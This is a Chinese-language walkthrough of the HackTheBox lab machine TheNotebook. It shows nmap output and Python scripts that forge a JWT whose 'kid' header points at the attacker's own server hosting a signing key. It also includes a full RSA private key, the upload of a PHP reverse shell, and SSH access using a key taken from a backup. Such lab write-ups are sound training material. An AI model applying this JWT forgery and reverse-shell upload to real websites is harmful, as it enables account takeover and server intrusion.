hackthebox TheNotebook
前言
只拿到了user,提权没成功——有wp说是CVE-2019-5736,我没打成。
打点
nmap-sV -v -A 10.10.10.230
端口扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
注册接口发现admin用户已存在,爆破一手密码试试,无果。
使用test test成功登录,但只有一个添加笔记的功能,没什么思路

又测试注册和登录接口是否存在sql注入,无果。
尝试之前某题的思路在admin后加上超多空格,试图超出截断以覆盖已有admin账号也失败了。
但是base64解码admin空空空空空账号的登录cookie后发现这是个jwt,思路转向jwt伪造。

下面是已经存在账号test的token
{"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}.{"username":"test","email":"test@test.htb","admin_cap":falsefQ.MtÇ[8âºZ*ï>IÙÈ@3â«»6TC5-1̲³Ivh-»fr^wqÜNfèM ÐÉ¥Á̲eîÚ0ha-O:KHrÀßdàÍÏYZóP;C§««U2_ÇqK÷hJ9èâQ7êmÛMíet¡ÜV
>|_nÔ
·W5
e¥1¢yÒ¸G}áÊQ
nmap扫描7070端口发现未开放,因此猜测把url改到我们自己服务器上来控制key,再修改admin_cap值为True来达到越权至admin的效果。
生成token脚本如下,因为rs256加密,这key不能乱写,先改成HS256试试。
privKey.key放的就是test1234
import jwt
import base64
key = b'test1234'
head = {
"typ": "JWT",
"alg": "HS256",
"kid": "http://10.10.15.0:8000/privKey.key"
}
payload = {
"username":"test",
"email":"test@test.htb",
"admin_cap":True
}
# head_str = json.dumps(head)
# payload_str = json.dumps(payload)
# pattern = head_str + '.' + payload_str
# secret = base64.b64encode(pattern.encode())
#jwt_token = base64.b64encode(head_str.encode()) + b'.' + base64.b64encode(payload_str.encode()) + b'.' + secret
jwt_token = jwt.encode(payload,key,"HS256",head)
print(jwt_token)

确实有访问记录,但是没有成功。
把加密方式改回RS256试试
先生成一个私钥

import jwt
key = """-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDUCGTLntMGEocLy6Ww/W/luPdLAaou2XMUQT7E91BuFTndKfOq
adJta5XoRFLeExTRK1+tYJjj2fWjFUUFf22puEutBP8rxI9B9bfiwcRKvWqqh71U
j0q8cDpnrPw6jS+7kOGxG2fPFqHVYUP1u+7ZN71EwzwNcAdAqM0ZjvtADwIDAQAB
AoGBAMQDxnrfJyKT+jiTWWfXw5xRdHvo3BVXfSWac5bPM5GxGb81y0cdcSUqsnj4
wMsARNxiBp9Xj8AEfSr4vMgqV4tArBfyNuJEjLtWCO37L8qXC3jtUsImgRZQqW+3
lIzPNHgddfdmlFrorTZx8ZssWX7kAXl020WiTHptbiNmmRehAkEA/hDKeP/Y4/0P
I0jdWxnXpSHXXiPPGZ4N8phSQMuCnsWpa7Zf8bzDJyeOtbCUEpGhu2EB46Ol6l4c
I7W7Ecjs5wJBANWlrNC9t9mJKkQ9S+n71OryGC1CnZTT0FQssSqgvZgo/FepkXzo
10yuVAaqqKGt9XhjEP7TjtH0O745iDudxpkCQC0l0rUZ0fMBvzTn993+g6Gml9z0
xBKrUZMwmj1FbNrGCUtIx1fv0UYd83A6BrYeBv2DSZCoPg2d16ZI3wtUBzUCQFDr
8rwRz+wmZwr3yKQ0jZ372qpx++veGp93WheSUJ2skH/Hq2KLctkJgqwPwdWTZVGW
/F341bSydFqFwhMKnKkCPxdfD2OW1BDtHOh7xT0dn4fuZNKojzTrmej2ypu4DM8h
GMln3Xc5vNL18351Q8TfLTeYCeTGrAXZeuRvcUODSQ==
-----END RSA PRIVATE KEY-----
"""
head = {
"typ": "JWT",
"alg": "RS256",
"kid": "http://10.10.15.0:8000/privKey.key"
}
payload = {
"username":"test",
"email":"test@test.htb",
"admin_cap":True
}
jwt_token = jwt.encode(payload,key,"RS256",head)
print(jwt_token)
用cookie quick manager替换掉test的cookie成功获取管理员权限


发现上传

它隔一段时间上传的马就会被删,蚁剑就不太好操作了,重新上传一个反弹shell的马/usr/share/webshells/php/php-reverse-shell.php
在/home/noah下发现了user.txt,还有一个main文件不知道是干嘛的(从strings命令的内容来看像是go写的,跑一下就一个报错),下一步就是要切到该用户读文件了。
在/var下发现备份文件

下面几个涉及到账号的只有home.tar.gz可读,下载下来看看

发现存在Noah的ssh私钥,直接登录.获取user flag
提权
sudo -l 发现有无需密码命令

看样子是要容器逃逸了。但我不清楚这要怎么判断是什么洞,试了下别的wp写的CVE-2019-5736,没打成,溜了
hackthebox TheNotebook的更多相关文章
- [HackTheBox]WEB题目
0x01 [50 Points] I know Mag1k 问题描述: Can you get to the profile page of the admin? 访问分配的地址,是一个带注册的登入页 ...
- hackthebox通关手记(持续更新)
简介: 花了点时间弄了几道题目.以前我是用windows渗透居多,在kali linux下渗透测试一直不怎么习惯.通过这几天做这些题目感觉顺手多了.有些题目脑洞也比较大,感觉很多也不适合于实际的环境 ...
- Hack The Box 获取邀请码
TL DR; 使用curl请求下面的地址 curl -X POST https://www.hackthebox.eu/api/invite/generate {"success" ...
- 【10.15总结】绕过CSRF的Referer保护
今天下午可能要出远门,所以现在就把总结写好了. Write-up地址:[Critical] Bypass CSRF protection on IBM 这个CSRF漏洞存在于IBM的修改邮箱页面,修改 ...
- NodeJS反序列化漏洞利用
原文来自:http://www.4hou.com/web/13024.html node.js是一个服务器端的运行环境,封装了Google V8引擎,V8引擎执行JavaScript速度非常快,性能非 ...
- 11种绕过CDN查找真实IP方法
0x01 验证是否存在CDN 方法1: 很简单,使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有: http://ping.chin ...
- OSCP考试回顾
技术背景 从2011年开始接触学习渗透测试,全职做过的职位有渗透测试,Python后端研发,DevOps,甲方安全打杂. 学习过程 首先考试报名,交钱.买了价值800美元的一个月lab,包含Pente ...
- Linux Restricted Shell Bypass
Author: @n4ckhcker & @h4d3sw0rm Introduction Hello, so first of all let’s explain what is a rest ...
- Hack The Box Web Pentest 2019
[20 Points] Emdee five for life [by L4mpje] 问题描述: Can you encrypt fast enough? 初始页面,不管怎么样点击Submit都会显 ...
随机推荐
- “可变的”tuple
来看一个"可变的"tuple: >>> t = ('a', 'b', ['A', 'B']) >>> t[2][0] = 'X' >> ...
- Java_集合之三
1.红黑树 1.1概述[理解] 红黑树的特点 平衡二叉B树 每一个节点可以是红或者黑 红黑树不是高度平衡的,它的平衡是通过"自己的红黑规则"进行实现的 红黑树的红黑规则有哪些 每一 ...
- 不融资、不上市、不快马圈地…“佛系”ZOHO的中国生意经
来源:钛媒体 作者:秦聪慧 "技术比肩SAP.直追微软的这家25岁"非典型"国际大厂会继续佛系下去吗? ZOHO研发中心大楼 在中国,有家相对低调的"舶来&qu ...
- C# 给PDF签名时添加时间戳的2种方法(附VB.NET代码)
在PDF添加签名时,支持添加可信时间戳来保证文档的法律效应.本文,将通过C#程序代码介绍如何添加可信时间戳,可通过2种方法来实现.文中附上VB.NET代码,有需可供参考. 一.程序运行环境 编译环境: ...
- [bug] jupyter notebook:服务在阿里云上启动,本地浏览器无法访问
问题 在阿里云上装了个jupyter,服务正常启动了,但网页上无法访问 排查 安全组已经设置过了,7777端口 在宝塔面板查看,发现7777端口并没有开,打开就可以访问了 原来阿里云的安全组和防火墙是 ...
- [bug] HMaster启动后几秒消失
参考 https://blog.csdn.net/weixin_44896798/article/details/97800045 https://blog.csdn.net/liudi1993/ar ...
- [Java] HOW2J(Java初级)
变量 基本类型:整型(byte.short.int.long).字符型(char).浮点型(float.double).布尔型(boolean) 给基本类型赋值的方式叫字面值 字符的字面值放在单引号中 ...
- 电脑无法开机,用一个U盘先备份C盘部分重要文件并重装Win10系统的教程?
电脑无法开机,用一个U盘先备份C盘部分重要文件并重装Win10系统的教程.? 这应该是修电脑的万能方法,重装系统能解决绝大多数非硬件导致的电脑故障,但之前要备份一下桌面的一些个人文件.所以想学一下,以 ...
- 就算是3.0的U盘,写入速度10M及以下也是正常的,U盘用很差的闪存颗粒的话就算10Gbps的USB3.1也是很慢的。
作者:范德成链接:https://www.zhihu.com/question/56251636/answer/157021710来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注 ...
- mysql基础之mysql双主(主主)架构
一.概念 在企业中,数据库高可用一直是企业的重中之重,中小企业很多都是使用mysql主从方案,一主多从,读写分离等,但是单主存在单点故障,从库切换成主库需要作改动.因此,如果是双主或者多主,就会增加m ...